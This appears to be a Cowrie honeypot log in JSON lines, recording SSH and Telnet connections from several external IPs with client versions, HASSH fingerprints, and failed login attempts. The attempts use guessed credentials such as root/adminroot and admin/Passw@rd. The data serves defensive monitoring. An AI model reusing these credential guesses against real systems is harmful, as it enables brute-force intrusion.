{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:27.870939Z","src_ip":"14.224.213.222","session":"f3504900ba3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"euser","password":"euser","message":"login attempt [euser/euser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:28.911736Z","src_ip":"14.224.213.222","session":"f3504900ba3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:28:30.171027Z","src_ip":"14.224.213.222","session":"f3504900ba3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51522,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fded32a18c9","protocol":"ssh","message":"New connection: 193.32.162.145:51522 (159.203.135.109:22) [session: 2fded32a18c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:28.589210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:28.611426Z","src_ip":"193.32.162.145","session":"2fded32a18c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:28.694928Z","src_ip":"193.32.162.145","session":"2fded32a18c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:29.105267Z","src_ip":"193.32.162.145","session":"2fded32a18c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:30.212589Z","src_ip":"193.32.162.145","session":"2fded32a18c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":49138,"dst_ip":"10.17.0.5","dst_port":22,"session":"248100fa6c68","protocol":"ssh","message":"New connection: 14.224.213.222:49138 (10.17.0.5:22) [session: 248100fa6c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:34.024106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:34.029106Z","src_ip":"14.224.213.222","session":"248100fa6c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:34.297742Z","src_ip":"14.224.213.222","session":"248100fa6c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user5","password":"123456789","message":"login attempt [user5/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:35.396404Z","src_ip":"14.224.213.222","session":"248100fa6c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:29:36.667928Z","src_ip":"14.224.213.222","session":"248100fa6c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":60726,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b8f36c997a7","protocol":"ssh","message":"New connection: 113.190.252.123:60726 (159.203.135.109:22) [session: 6b8f36c997a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:23.455543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:23.461446Z","src_ip":"113.190.252.123","session":"6b8f36c997a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:23.986641Z","src_ip":"113.190.252.123","session":"6b8f36c997a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:25.587340Z","src_ip":"113.190.252.123","session":"6b8f36c997a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:27.106613Z","src_ip":"113.190.252.123","session":"6b8f36c997a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":60212,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5b5be3a9fa","protocol":"ssh","message":"New connection: 14.224.213.222:60212 (10.17.0.5:22) [session: bb5b5be3a9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:41.932246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:41.939042Z","src_ip":"14.224.213.222","session":"bb5b5be3a9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:42.198630Z","src_ip":"14.224.213.222","session":"bb5b5be3a9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123","message":"login attempt [amir/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:43.256499Z","src_ip":"14.224.213.222","session":"bb5b5be3a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:30:44.520796Z","src_ip":"14.224.213.222","session":"bb5b5be3a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":60732,"dst_ip":"10.17.0.5","dst_port":22,"session":"e386c41e11d8","protocol":"ssh","message":"New connection: 190.244.39.224:60732 (10.17.0.5:22) [session: e386c41e11d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:32.896469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:32.906296Z","src_ip":"190.244.39.224","session":"e386c41e11d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:33.096573Z","src_ip":"190.244.39.224","session":"e386c41e11d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2024","message":"login attempt [ubuntu/Ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:33.865598Z","src_ip":"190.244.39.224","session":"e386c41e11d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:35.063144Z","src_ip":"190.244.39.224","session":"e386c41e11d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37314,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f560d33c476","protocol":"ssh","message":"New connection: 193.32.162.145:37314 (159.203.135.109:22) [session: 7f560d33c476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:39.198986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:39.203911Z","src_ip":"193.32.162.145","session":"7f560d33c476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:39.310998Z","src_ip":"193.32.162.145","session":"7f560d33c476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raydium","message":"login attempt [ubuntu/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:39.648067Z","src_ip":"193.32.162.145","session":"7f560d33c476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:40.768884Z","src_ip":"193.32.162.145","session":"7f560d33c476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":44486,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b267bbb933e","protocol":"telnet","message":"New connection: 199.103.57.63:44486 (159.203.135.109:23) [session: 3b267bbb933e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:42.604616Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":39438,"dst_ip":"10.17.0.5","dst_port":22,"session":"0813c24590cb","protocol":"ssh","message":"New connection: 14.224.213.222:39438 (10.17.0.5:22) [session: 0813c24590cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:47.008988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:47.013909Z","src_ip":"14.224.213.222","session":"0813c24590cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:47.264488Z","src_ip":"14.224.213.222","session":"0813c24590cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw@rd","message":"login attempt [admin/Passw@rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:48.299429Z","src_ip":"14.224.213.222","session":"0813c24590cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:49.551479Z","src_ip":"14.224.213.222","session":"0813c24590cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.6.60.236","src_port":51726,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f3ecaccc49","protocol":"ssh","message":"New connection: 154.6.60.236:51726 (10.17.0.5:22) [session: 38f3ecaccc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.274768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:31:55.282433Z","src_ip":"154.6.60.236","session":"38f3ecaccc49","protocol":"ssh"}
